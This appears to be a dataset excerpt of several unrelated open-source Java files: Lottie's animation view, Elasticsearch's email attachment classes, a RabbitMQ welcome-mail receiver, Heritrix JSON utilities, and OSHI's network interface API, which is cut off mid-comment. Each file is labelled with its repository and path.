determines whether or not to play the frame that the end marker is on. If the end marker * represents the end of the section that you want, it should be true. If the marker represents the beginning of the * next section, it should be false. * * @throws IllegalArgumentException if either marker is not found. */ public void setMinAndMaxFrame(final String startMarkerName, final String endMarkerName, final boolean playEndMarkerStartFrame) { lottieDrawable.setMinAndMaxFrame(startMarkerName, endMarkerName, playEndMarkerStartFrame); } /** * @see #setMinFrame(int) * @see #setMaxFrame(int) */ public void setMinAndMaxFrame(int minFrame, int maxFrame) { lottieDrawable.setMinAndMaxFrame(minFrame, maxFrame); } /** * @see #setMinProgress(float) * @see #setMaxProgress(float) */ public void setMinAndMaxProgress( @FloatRange(from = 0f, to = 1f) float minProgress, @FloatRange(from = 0f, to = 1f) float maxProgress) { lottieDrawable.setMinAndMaxProgress(minProgress, maxProgress); } /** * Reverses the current animation speed. This does NOT play the animation. * * @see #setSpeed(float) * @see #playAnimation() * @see #resumeAnimation() */ public void reverseAnimationSpeed() { lottieDrawable.reverseAnimationSpeed(); } /** * Sets the playback speed. If speed {@literal <} 0, the animation will play backwards. */ public void setSpeed(float speed) { lottieDrawable.setSpeed(speed); } /** * Returns the current playback speed. This will be {@literal <} 0 if the animation is playing backwards. */ public float getSpeed() { return lottieDrawable.getSpeed(); } public void addAnimatorUpdateListener(ValueAnimator.AnimatorUpdateListener updateListener) { lottieDrawable.addAnimatorUpdateListener(updateListener); } public void removeUpdateListener(ValueAnimator.AnimatorUpdateListener updateListener) { lottieDrawable.removeAnimatorUpdateListener(updateListener); } public void removeAllUpdateListeners() { lottieDrawable.removeAllUpdateListeners(); } public void addAnimatorListener(Animator.AnimatorListener listener) { lottieDrawable.addAnimatorListener(listener); } public void removeAnimatorListener(Animator.AnimatorListener listener) { lottieDrawable.removeAnimatorListener(listener); } public void removeAllAnimatorListeners() { lottieDrawable.removeAllAnimatorListeners(); } @RequiresApi(api = Build.VERSION_CODES.KITKAT) public void addAnimatorPauseListener(Animator.AnimatorPauseListener listener) { lottieDrawable.addAnimatorPauseListener(listener); } @RequiresApi(api = Build.VERSION_CODES.KITKAT) public void removeAnimatorPauseListener(Animator.AnimatorPauseListener listener) { lottieDrawable.removeAnimatorPauseListener(listener); } /** * @see #setRepeatCount(int) */ @Deprecated public void loop(boolean loop) { lottieDrawable.setRepeatCount(loop ? ValueAnimator.INFINITE : 0); } /** * Defines what this animation should do when it reaches the end. This * setting is applied only when the repeat count is either greater than * 0 or {@link LottieDrawable#INFINITE}. Defaults to {@link LottieDrawable#RESTART}. * * @param mode {@link LottieDrawable#RESTART} or {@link LottieDrawable#REVERSE} */ public void setRepeatMode(@LottieDrawable.RepeatMode int mode) { userActionsTaken.add(UserActionTaken.SET_REPEAT_MODE); lottieDrawable.setRepeatMode(mode); } /** * Defines what this animation should do when it reaches the end. * * @return either one of {@link LottieDrawable#REVERSE} or {@link LottieDrawable#RESTART} */ @LottieDrawable.RepeatMode public int getRepeatMode() { return lottieDrawable.getRepeatMode(); } /** * Sets how many times the animation should be repeated. If the repeat * count is 0, the animation is never repeated. If the repeat count is * greater than 0 or {@link LottieDrawable#INFINITE}, the repeat mode will be taken * into account. The repeat count is 0 by default. * * @param count the number of times the animation should be repeated */ public void setRepeatCount(int count) { userActionsTaken.add(UserActionTaken.SET_REPEAT_COUNT); lottieDrawable.setRepeatCount(count); } /** * Defines how many times the animation should repeat. The default value * is 0. * * @return the number of times the animation should repeat, or {@link LottieDrawable#INFINITE} */ public int getRepeatCount() { return lottieDrawable.getRepeatCount(); } public boolean isAnimating() { return lottieDrawable.isAnimating(); } /** * If you use image assets, you must explicitly specify the folder in assets/ in which they are * located because bodymovin uses the name filenames across all compositions (img_#). * Do NOT rename the images themselves. * <p> * If your images are located in src/main/assets/airbnb_loader/ then call * `setImageAssetsFolder("airbnb_loader/");`. * <p> * Be wary if you are using many images, however. Lottie is designed to work with vector shapes * from After Effects. If your images look like they could be represented with vector shapes, * see if it is possible to convert them to shape layers and re-export your animation. Check * the documentation at <a href="http://airbnb.io/lottie">airbnb.io/lottie</a> for more information about importing shapes from * Sketch or Illustrator to avoid this. */ public void setImageAssetsFolder(String imageAssetsFolder) { lottieDrawable.setImagesAssetsFolder(imageAssetsFolder); } @Nullable public String getImageAssetsFolder() { return lottieDrawable.getImageAssetsFolder(); } /** * When true, dynamically set bitmaps will be drawn with the exact bounds of the original animation, regardless of the bitmap size. * When false, dynamically set bitmaps will be drawn at the top left of the original image but with its own bounds. * <p> * Defaults to false. */ public void setMaintainOriginalImageBounds(boolean maintainOriginalImageBounds) { lottieDrawable.setMaintainOriginalImageBounds(maintainOriginalImageBounds); } /** * When true, dynamically set bitmaps will be drawn with the exact bounds of the original animation, regardless of the bitmap size. * When false, dynamically set bitmaps will be drawn at the top left of the original image but with its own bounds. * <p> * Defaults to false. */ public boolean getMaintainOriginalImageBounds() { return lottieDrawable.getMaintainOriginalImageBounds(); } /** * Allows you to modify or clear a bitmap that was loaded for an image either automatically * through {@link #setImageAssetsFolder(String)} or with an {@link ImageAssetDelegate}. * * @return the previous Bitmap or null. */ @Nullable public Bitmap updateBitmap(String id, @Nullable Bitmap bitmap) { return lottieDrawable.updateBitmap(id, bitmap); } /** * Use this if you can't bundle images with your app. This may be useful if you download the * animations from the network or have the images saved to an SD Card. In that case, Lottie * will defer the loading of the bitmap to this delegate. * <p> * Be wary if you are using many images, however. Lottie is designed to work with vector shapes * from After Effects. If your images look like they could be represented with vector shapes, * see if it is possible to convert them to shape layers and re-export your animation. Check * the documentation at <a href="http://airbnb.io/lottie">airbnb.io/lottie</a> for more information about importing shapes from * Sketch or Illustrator to avoid this. */ public void setImageAssetDelegate(ImageAssetDelegate assetDelegate) { lottieDrawable.setImageAssetDelegate(assetDelegate); } /** * By default, Lottie will look in src/assets/fonts/FONT_NAME.ttf * where FONT_NAME is the fFamily specified in your Lottie file. * If your fonts have a different extension, you can override the * default here. * <p> * Alternatively, you can use {@link #setFontAssetDelegate(FontAssetDelegate)} * for more control. * * @see #setFontAssetDelegate(FontAssetDelegate) */ public void setDefaultFontFileExtension(String extension) { lottieDrawable.setDefaultFontFileExtension(extension); } /** * Use this to manually set fonts. */ public void setFontAssetDelegate(FontAssetDelegate assetDelegate) { lottieDrawable.setFontAssetDelegate(assetDelegate); } /** * Set a map from font name keys to Typefaces. * The keys can be in the form: * * fontFamily * * fontFamily-fontStyle * * fontName * All 3 are defined as fName, fFamily, and fStyle in the Lottie file. * <p> * If you change a value in fontMap, create a new map or call * {@link #invalidate()}. Setting the same map again will noop. */ public void setFontMap(@Nullable Map<String, Typeface> fontMap) { lottieDrawable.setFontMap(fontMap); } /** * Set this to replace animation text with custom text at runtime */ public void setTextDelegate(TextDelegate textDelegate) { lottieDrawable.setTextDelegate(textDelegate); } /** * Takes a {@link KeyPath}, potentially with wildcards or globstars and resolve it to a list of * zero or more actual {@link KeyPath Keypaths} that exist in the current animation. * <p> * If you want to set value callbacks for any of these values, it is recommended to use the * returned {@link KeyPath} objects because they will be internally resolved to their content * and won't trigger a tree walk of the animation contents when applied. */ public List<KeyPath> resolveKeyPath(KeyPath keyPath) { return lottieDrawable.resolveKeyPath(keyPath); } /** * Clear the value callback for all nodes that match the given {@link KeyPath} and property. */ public <T> void clearValueCallback(KeyPath keyPath, T property) { lottieDrawable.addValueCallback(keyPath, property, (LottieValueCallback<T>) null); } /** * Add a property callback for the specified {@link KeyPath}. This {@link KeyPath} can resolve * to multiple contents. In that case, the callback's value will apply to all of them. * <p> * Internally, this will check if the {@link KeyPath} has already been resolved with * {@link #resolveKeyPath(KeyPath)} and will resolve it if it hasn't. */ public <T> void addValueCallback(KeyPath keyPath, T property, LottieValueCallback<T> callback) { lottieDrawable.addValueCallback(keyPath, property, callback); } /** * Overload of {@link #addValueCallback(KeyPath, Object, LottieValueCallback)} that takes an interface. This allows you to use a single abstract * method code block in Kotlin such as: * animationView.addValueCallback(yourKeyPath, LottieProperty.COLOR) { yourColor } */ public <T> void addValueCallback(KeyPath keyPath, T property, final SimpleLottieValueCallback<T> callback) { lottieDrawable.addValueCallback(keyPath, property, new LottieValueCallback<T>() { @Override public T getValue(LottieFrameInfo<T> frameInfo) { return callback.getValue(frameInfo); } }); } @MainThread public void cancelAnimation() { autoPlay = false; userActionsTaken.add(UserActionTaken.PLAY_OPTION); lottieDrawable.cancelAnimation(); } @MainThread public void pauseAnimation() { autoPlay = false; lottieDrawable.pauseAnimation(); } /** * Sets the progress to the specified frame. * If the composition isn't set yet, the progress will be set to the frame when * it is. */ public void setFrame(int frame) { lottieDrawable.setFrame(frame); } /** * Get the currently rendered frame. */ public int getFrame() { return lottieDrawable.getFrame(); } public void setProgress(@FloatRange(from = 0f, to = 1f) float progress) { setProgressInternal(progress, true); } private void setProgressInternal( @FloatRange(from = 0f, to = 1f) float progress, boolean fromUser) { if (fromUser) { userActionsTaken.add(UserActionTaken.SET_PROGRESS); } lottieDrawable.setProgress(progress); } @FloatRange(from = 0.0f, to = 1.0f) public float getProgress() { return lottieDrawable.getProgress(); } public long getDuration() { LottieComposition composition = getComposition(); return composition != null ? (long) composition.getDuration() : 0; } public void setPerformanceTrackingEnabled(boolean enabled) { lottieDrawable.setPerformanceTrackingEnabled(enabled); } @Nullable public PerformanceTracker getPerformanceTracker() { return lottieDrawable.getPerformanceTracker(); } private void clearComposition() { lottieDrawable.clearComposition(); } /** * If you are experiencing a device specific crash that happens during drawing, you can set this to true * for those devices. If set to true, draw will be wrapped with a try/catch which will cause Lottie to * render an empty frame rather than crash your app. * <p> * Ideally, you will never need this and the vast majority of apps and animations won't. However, you may use * this for very specific cases if absolutely necessary. * <p> * There is no XML attr for this because it should be set programmatically and only for specific devices that * are known to be problematic. */ public void setSafeMode(boolean safeMode) { lottieDrawable.setSafeMode(safeMode); } /** * Call this to set whether or not to render with hardware or software acceleration. * Lottie defaults to Automatic which will use hardware acceleration unless: * 1) There are dash paths and the device is pre-Pie. * 2) There are more than 4 masks and mattes. * Hardware acceleration is generally faster for those devices unless * there are many large mattes and masks in which case there is a lot * of GPU uploadTexture thrashing which makes it much slower. * <p> * In most cases, hardware rendering will be faster, even if you have mattes and masks. * However, if you have multiple mattes and masks (especially large ones), you * should test both render modes. You should also test on pre-Pie and Pie+ devices * because the underlying rendering engine changed significantly. * * @see <a href="https://developer.android.com/guide/topics/graphics/hardware-accel#unsupported">Android Hardware Acceleration</a> */ public void setRenderMode(RenderMode renderMode) { lottieDrawable.setRenderMode(renderMode); } /** * Returns the actual render mode being used. It will always be {@link RenderMode#HARDWARE} or {@link RenderMode#SOFTWARE}. * When the render mode is set to AUTOMATIC, the value will be derived from {@link RenderMode#useSoftwareRendering(int, boolean, int)}. */ public RenderMode getRenderMode() { return lottieDrawable.getRenderMode(); } /** * Returns the current value of {@link AsyncUpdates}. Refer to the docs for {@link AsyncUpdates} for more info. */ public AsyncUpdates getAsyncUpdates() { return lottieDrawable.getAsyncUpdates(); } /** * Similar to {@link #getAsyncUpdates()} except it returns the actual * boolean value for whether async updates are enabled or not. */ public boolean getAsyncUpdatesEnabled() { return lottieDrawable.getAsyncUpdatesEnabled(); } /** * **Note: this API is experimental and may changed.** * <p/> * Sets the current value for {@link AsyncUpdates}. Refer to the docs for {@link AsyncUpdates} for more info. */ public void setAsyncUpdates(AsyncUpdates asyncUpdates) { lottieDrawable.setAsyncUpdates(asyncUpdates); } /** * Sets whether to apply opacity to the each layer instead of shape. * <p> * Opacity is normally applied directly to a shape. In cases where translucent shapes overlap, applying opacity to a layer will be more accurate * at the expense of performance. * <p> * The default value is false. * <p> * Note: This process is very expensive. The performance impact will be reduced when hardware acceleration is enabled. * * @see #setRenderMode(RenderMode) */ public void setApplyingOpacityToLayersEnabled(boolean isApplyingOpacityToLayersEnabled) { lottieDrawable.setApplyingOpacityToLayersEnabled(isApplyingOpacityToLayersEnabled); } /** * @see #setClipTextToBoundingBox(boolean) */ public boolean getClipTextToBoundingBox() { return lottieDrawable.getClipTextToBoundingBox(); } /** * When true, if there is a bounding box set on a text layer (paragraph text), any text * that overflows past its height will not be drawn. */ public void setClipTextToBoundingBox(boolean clipTextToBoundingBox) { lottieDrawable.setClipTextToBoundingBox(clipTextToBoundingBox); } /** * This API no longer has any effect. */ @Deprecated public void disableExtraScaleModeInFitXY() { //noinspection deprecation lottieDrawable.disableExtraScaleModeInFitXY(); } public boolean addLottieOnCompositionLoadedListener(@NonNull LottieOnCompositionLoadedListener lottieOnCompositionLoadedListener) { LottieComposition composition = getComposition(); if (composition != null) { lottieOnCompositionLoadedListener.onCompositionLoaded(composition); } return lottieOnCompositionLoadedListeners.add(lottieOnCompositionLoadedListener); } public boolean removeLottieOnCompositionLoadedListener(@NonNull LottieOnCompositionLoadedListener lottieOnCompositionLoadedListener) { return lottieOnCompositionLoadedListeners.remove(lottieOnCompositionLoadedListener); } public void removeAllLottieOnCompositionLoadedListener() { lottieOnCompositionLoadedListeners.clear(); } private void setLottieDrawable() { boolean wasAnimating = isAnimating(); // Set the drawable to null first because the underlying LottieDrawable's intrinsic bounds can change // if the composition changes. setImageDrawable(null); setImageDrawable(lottieDrawable); if (wasAnimating) { // This is necessary because lottieDrawable will get unscheduled and canceled when the drawable is set to null. lottieDrawable.resumeAnimation(); } } private static class SavedState extends BaseSavedState { String animationName; int animationResId; float progress; boolean isAnimating; String imageAssetsFolder; int repeatMode; int repeatCount; SavedState(Parcelable superState) { super(superState); } private SavedState(Parcel in) { super(in); animationName = in.readString(); progress = in.readFloat(); isAnimating = in.readInt() == 1; imageAssetsFolder = in.readString(); repeatMode = in.readInt(); repeatCount = in.readInt(); } @Override public void writeToParcel(Parcel out, int flags) { super.writeToParcel(out, flags); out.writeString(animationName); out.writeFloat(progress); out.writeInt(isAnimating ? 1 : 0); out.writeString(imageAssetsFolder); out.writeInt(repeatMode); out.writeInt(repeatCount); } public static final Parcelable.Creator<SavedState> CREATOR = new Parcelable.Creator<SavedState>() { @Override public SavedState createFromParcel(Parcel in) { return new SavedState(in); } @Override public SavedState[] newArray(int size) { return new SavedState[size]; } }; } private enum UserActionTaken { SET_ANIMATION, SET_PROGRESS, SET_REPEAT_MODE, SET_REPEAT_COUNT, SET_IMAGE_ASSETS, PLAY_OPTION, } }
airbnb/lottie-android
lottie/src/main/java/com/airbnb/lottie/LottieAnimationView.java
41,069
/* * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one * or more contributor license agreements. Licensed under the Elastic License * 2.0; you may not use this file except in compliance with the Elastic License * 2.0. */ package org.elasticsearch.xpack.watcher.notification.email; import org.elasticsearch.ElasticsearchException; import org.elasticsearch.common.bytes.BytesReference; import org.elasticsearch.common.inject.Provider; import org.elasticsearch.core.SuppressForbidden; import org.elasticsearch.xcontent.ToXContent; import org.elasticsearch.xcontent.XContentBuilder; import org.elasticsearch.xcontent.XContentType; import org.elasticsearch.xpack.watcher.notification.email.support.BodyPartSource; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.nio.file.Path; import java.util.Collections; import java.util.Set; import javax.activation.DataHandler; import javax.activation.DataSource; import javax.activation.FileDataSource; import javax.mail.MessagingException; import javax.mail.internet.MimeBodyPart; import javax.mail.util.ByteArrayDataSource; import static javax.mail.Part.ATTACHMENT; import static javax.mail.Part.INLINE; public abstract class Attachment extends BodyPartSource { private final boolean inline; private final Set<String> warnings; protected Attachment(String id, String name, String contentType, boolean inline) { this(id, name, contentType, inline, Collections.emptySet()); } protected Attachment(String id, String name, String contentType, boolean inline, Set<String> warnings) { super(id, name, contentType); this.inline = inline; assert warnings != null; this.warnings = warnings; } @Override public final MimeBodyPart bodyPart() throws MessagingException { MimeBodyPart part = new MimeBodyPart(); part.setContentID(id); part.setFileName(name); part.setDisposition(inline ? INLINE : ATTACHMENT); writeTo(part); return part; } public abstract String type(); public boolean isInline() { return inline; } public Set<String> getWarnings() { return warnings; } /** * intentionally not emitting path as it may come as an information leak */ @Override public final XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException { return builder.startObject() .field("type", type()) .field("id", id) .field("name", name) .field("content_type", contentType) .endObject(); } protected abstract void writeTo(MimeBodyPart part) throws MessagingException; public static class File extends Attachment { static final String TYPE = "file"; private final Path path; private final DataSource dataSource; public File(String id, Path path, boolean inline) { this(id, path.getFileName().toString(), path, inline); } public File(String id, Path path, String contentType, boolean inline) { this(id, path.getFileName().toString(), path, contentType, inline); } @SuppressForbidden(reason = "uses toFile") public File(String id, String name, Path path, boolean inline) { this(id, name, path, fileTypeMap.getContentType(path.toFile()), inline); } @SuppressForbidden(reason = "uses toFile") public File(String id, String name, Path path, String contentType, boolean inline) { super(id, name, contentType, inline); this.path = path; this.dataSource = new FileDataSource(path.toFile()); } public Path path() { return path; } public String type() { return TYPE; } @Override public void writeTo(MimeBodyPart part) throws MessagingException { part.setDataHandler(new DataHandler(dataSource)); } } public static class Bytes extends Attachment { static final String TYPE = "bytes"; private final byte[] bytes; public Bytes(String id, byte[] bytes, String contentType, boolean inline) { this(id, id, bytes, contentType, inline, Collections.emptySet()); } public Bytes(String id, String name, byte[] bytes, boolean inline) { this(id, name, bytes, fileTypeMap.getContentType(name), inline, Collections.emptySet()); } public Bytes(String id, String name, byte[] bytes, String contentType, boolean inline, Set<String> warnings) { super(id, name, contentType, inline, warnings); this.bytes = bytes; } public String type() { return TYPE; } public byte[] bytes() { return bytes; } @Override public void writeTo(MimeBodyPart part) throws MessagingException { DataSource dataSource = new ByteArrayDataSource(bytes, contentType); DataHandler handler = new DataHandler(dataSource); part.setDataHandler(handler); } } public static class Stream extends Attachment { static final String TYPE = "stream"; private final Provider<InputStream> source; public Stream(String id, String name, boolean inline, Provider<InputStream> source) { this(id, name, fileTypeMap.getContentType(name), inline, source); } public Stream(String id, String name, String contentType, boolean inline, Provider<InputStream> source) { super(id, name, contentType, inline); this.source = source; } @Override public String type() { return TYPE; } @Override protected void writeTo(MimeBodyPart part) throws MessagingException { DataSource ds = new StreamDataSource(name, contentType, source); DataHandler dh = new DataHandler(ds); part.setDataHandler(dh); } static class StreamDataSource implements DataSource { private final String name; private final String contentType; private final Provider<InputStream> source; StreamDataSource(String name, String contentType, Provider<InputStream> source) { this.name = name; this.contentType = contentType; this.source = source; } @Override public InputStream getInputStream() throws IOException { return source.get(); } @Override public OutputStream getOutputStream() throws IOException { throw new UnsupportedOperationException(); } @Override public String getContentType() { return contentType; } @Override public String getName() { return name; } } } public static class XContent extends Bytes { protected XContent(String id, ToXContent content, XContentType type) { this(id, id, content, type); } protected XContent(String id, String name, ToXContent content, XContentType type) { super(id, name, bytes(name, content, type), mimeType(type), false, Collections.emptySet()); } static String mimeType(XContentType type) { return switch (type) { case JSON -> "application/json"; case YAML -> "application/yaml"; case SMILE -> "application/smile"; case CBOR -> "application/cbor"; default -> throw new IllegalArgumentException("unsupported xcontent attachment type [" + type.name() + "]"); }; } static byte[] bytes(String name, ToXContent content, XContentType type) { try { XContentBuilder builder = XContentBuilder.builder(type.xContent()).prettyPrint(); content.toXContent(builder, ToXContent.EMPTY_PARAMS); return BytesReference.toBytes(BytesReference.bytes(builder)); } catch (IOException ioe) { throw new ElasticsearchException("could not create an xcontent attachment [" + name + "]", ioe); } } public static class Yaml extends XContent { public Yaml(String id, ToXContent content) { super(id, content, XContentType.YAML); } public Yaml(String id, String name, ToXContent content) { super(id, name, content, XContentType.YAML); } @Override public String type() { return "yaml"; } } public static class Json extends XContent { public Json(String id, ToXContent content) { super(id, content, XContentType.JSON); } public Json(String id, String name, ToXContent content) { super(id, name, content, XContentType.JSON); } @Override public String type() { return "json"; } } } }
elastic/elasticsearch
x-pack/plugin/watcher/src/main/java/org/elasticsearch/xpack/watcher/notification/email/Attachment.java
41,070
package org.javaboy.mailserver.receiver; import com.rabbitmq.client.Channel; import org.javaboy.vhr.model.Employee; import org.javaboy.vhr.model.MailConstants; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.amqp.rabbit.annotation.RabbitListener; import org.springframework.amqp.support.AmqpHeaders; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.autoconfigure.mail.MailProperties; import org.springframework.data.redis.core.StringRedisTemplate; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.messaging.Message; import org.springframework.messaging.MessageHeaders; import org.springframework.stereotype.Component; import org.thymeleaf.TemplateEngine; import org.thymeleaf.context.Context; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import java.io.IOException; import java.util.Date; /** * @作者 江南一点雨 * @公众号 江南一点雨 * @微信号 a_java_boy * @GitHub https://github.com/lenve * @博客 http://wangsong.blog.csdn.net * @网站 http://www.javaboy.org * @时间 2019-11-24 7:59 */ @Component public class MailReceiver { public static final Logger logger = LoggerFactory.getLogger(MailReceiver.class); @Autowired JavaMailSender javaMailSender; @Autowired MailProperties mailProperties; @Autowired TemplateEngine templateEngine; @Autowired StringRedisTemplate redisTemplate; @RabbitListener(queues = MailConstants.MAIL_QUEUE_NAME) public void handler(Message message, Channel channel) throws IOException { Employee employee = (Employee) message.getPayload(); MessageHeaders headers = message.getHeaders(); Long tag = (Long) headers.get(AmqpHeaders.DELIVERY_TAG); String msgId = (String) headers.get("spring_returned_message_correlation"); if (redisTemplate.opsForHash().entries("mail_log").containsKey(msgId)) { //redis 中包含该 key,说明该消息已经被消费过 logger.info(msgId + ":消息已经被消费"); channel.basicAck(tag, false);//确认消息已消费 return; } //收到消息,发送邮件 MimeMessage msg = javaMailSender.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(msg); try { helper.setTo(employee.getEmail()); helper.setFrom(mailProperties.getUsername()); helper.setSubject("入职欢迎"); helper.setSentDate(new Date()); Context context = new Context(); context.setVariable("name", employee.getName()); context.setVariable("posName", employee.getPosition().getName()); context.setVariable("joblevelName", employee.getJobLevel().getName()); context.setVariable("departmentName", employee.getDepartment().getName()); String mail = templateEngine.process("mail", context); helper.setText(mail, true); javaMailSender.send(msg); redisTemplate.opsForHash().put("mail_log", msgId, "javaboy"); channel.basicAck(tag, false); logger.info(msgId + ":邮件发送成功"); } catch (MessagingException e) { channel.basicNack(tag, false, true); e.printStackTrace(); logger.error("邮件发送失败:" + e.getMessage()); } } }
lenve/vhr
vhr/mailserver/src/main/java/org/javaboy/mailserver/receiver/MailReceiver.java
41,071
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.util; import java.util.Map; import java.util.concurrent.atomic.AtomicLong; import org.json.JSONException; import org.json.JSONObject; /** * Utilities for working with JSON/JSONObjects. * */ public class JSONUtils { @SuppressWarnings("unchecked") public static void putAllLongs(Map<String,Long> targetMap, JSONObject sourceJson) throws JSONException { for(String k : new Iteratorable<String>(sourceJson.keys())) { targetMap.put(k, sourceJson.getLong(k)); } } @SuppressWarnings("unchecked") public static void putAllAtomicLongs(Map<String,AtomicLong> targetMap, JSONObject sourceJson) throws JSONException { for(String k : new Iteratorable<String>(sourceJson.keys())) { targetMap.put(k, new AtomicLong(sourceJson.getLong(k))); } } }
internetarchive/heritrix3
commons/src/main/java/org/archive/util/JSONUtils.java
41,072
/* * Copyright 2016-2022 The OSHI Project Contributors * SPDX-License-Identifier: MIT */ package oshi.hardware; import java.net.NetworkInterface; import java.util.Arrays; import oshi.annotation.concurrent.ThreadSafe; /** * A network interface in the machine, including statistics. * <p> * Thread safe for the designed use of retrieving the most recent data. Users should be aware that the * {@link #updateAttributes()} method may update attributes, including the time stamp, and should externally synchronize * such usage to ensure consistent calculations. */ @ThreadSafe public interface NetworkIF { /** * Gets the {@link java.net.NetworkInterface} object. * * @return the network interface, an instance of {@link java.net.NetworkInterface}. */ NetworkInterface queryNetworkInterface(); /** * Interface name. * * @return The interface name. */ String getName(); /** * Interface index. * * @return The index of the network interface. */ int getIndex(); /** * Interface description. * * @return The description of the network interface. On some platforms, this is identical to the name. */ String getDisplayName(); /** * The {@code ifAlias} as described in RFC 2863. * <p> * The ifAlias object allows a network manager to give one or more interfaces their own unique names, irrespective * of any interface-stack relationship. Further, the ifAlias name is non-volatile, and thus an interface must retain * its assigned ifAlias value across reboots, even if an agent chooses a new ifIndex value for the interface. * <p> * Only implemented for Windows (Vista and newer) and Linux. * * @return The {@code ifAlias} of the interface if available, otherwise the empty string. */ default String getIfAlias() { return ""; } /** * The {@code ifOperStatus} as described in RFC 2863. * <p> * Only implemented for Windows (Vista and newer) and Linux. * * @return The current operational state of the interface. */ default IfOperStatus getIfOperStatus() { return IfOperStatus.UNKNOWN; } /** * The interface Maximum Transmission Unit (MTU). * * @return The MTU of the network interface. * <p> * The value is a 32-bit integer which may be unsigned on some operating systems. On Windows, some * non-physical interfaces (e.g., loopback) may return a value of -1 which is equivalent to the maximum * unsigned integer value. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. */ long getMTU(); /** * The Media Access Control (MAC) address. * * @return The MAC Address. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. */ String getMacaddr(); /** * The Internet Protocol (IP) v4 address. * * @return An array of IPv4 Addresses. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. */ String[] getIPv4addr(); /** * The Internet Protocol (IP) v4 subnet masks. * * @return An array of IPv4 subnet mask lengths, corresponding to the IPv4 addresses from {@link #getIPv4addr()}. * Ranges between 0-32. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. * */ Short[] getSubnetMasks(); /** * The Internet Protocol (IP) v6 address. * * @return An array of IPv6 Addresses. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. */ String[] getIPv6addr(); /** * The Internet Protocol (IP) v6 address. * * @return The IPv6 address prefix lengths, corresponding to the IPv6 addresses from {@link #getIPv6addr()}. Ranges * between 0-128. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. */ Short[] getPrefixLengths(); /** * (Windows, macOS) The NDIS Interface Type. NDIS interface types are registered with the Internet Assigned Numbers * Authority (IANA), which publishes a list of interface types periodically in the Assigned Numbers RFC, or in a * derivative of it that is specific to Internet network management number assignments. * <p> * (Linux) ARP Protocol hardware identifiers defined in {@code include/uapi/linux/if_arp.h} * * @return the ifType */ default int getIfType() { return 0; } /** * (Windows Vista and higher only) The NDIS physical medium type. This member can be one of the values from the * {@code NDIS_PHYSICAL_MEDIUM} enumeration type defined in the {@code Ntddndis.h} header file. * * @return the ndisPhysicalMediumType */ default int getNdisPhysicalMediumType() { return 0; } /** * (Windows Vista and higher) Set if a connector is present on the network interface. * <p> * (Linux) Indicates the current physical link state of the interface. * * @return {@code true} if there is a physical network adapter (Windows) or a connected cable (Linux), false * otherwise */ default boolean isConnectorPresent() { return false; } /** * <p> * Getter for the field <code>bytesRecv</code>. * </p> * * @return The Bytes Received. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getBytesRecv(); /** * <p> * Getter for the field <code>bytesSent</code>. * </p> * * @return The Bytes Sent. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getBytesSent(); /** * <p> * Getter for the field <code>packetsRecv</code>. * </p> * * @return The Packets Received. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getPacketsRecv(); /** * <p> * Getter for the field <code>packetsSent</code>. * </p> * * @return The Packets Sent. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getPacketsSent(); /** * <p> * Getter for the field <code>inErrors</code>. * </p> * * @return Input Errors. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getInErrors(); /** * <p> * Getter for the field <code>outErrors</code>. * </p> * * @return The Output Errors. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getOutErrors(); /** * <p> * Getter for the field <code>inDrops</code>. * </p> * * @return Incoming/Received dropped packets. On Windows, returns discarded incoming packets. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getInDrops(); /** * <p> * Getter for the field <code>collisions</code>. * </p> * * @return Packet collisions. On Windows, returns discarded outgoing packets. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getCollisions(); /** * <p> * Getter for the field <code>speed</code>. * </p> * * @return The speed of the network interface in bits per second. * <p> * This value is set when the {@link oshi.hardware.NetworkIF} is instantiated and may not be up to date. To * update this value, execute the {@link #updateAttributes()} method */ long getSpeed(); /** * <p> * Getter for the field <code>timeStamp</code>. * </p> * * @return Returns the timeStamp. */ long getTimeStamp(); /** * Determines if the MAC address on this interface corresponds to a known Virtual Machine. * * @return {@code true} if the MAC address corresponds to a known virtual machine. */ boolean isKnownVmMacAddr(); /** * Updates interface network statistics on this interface. Statistics include packets and bytes sent and received, * and interface speed. * * @return {@code true} if the update was successful, {@code false} otherwise. */ boolean updateAttributes(); /** * The current 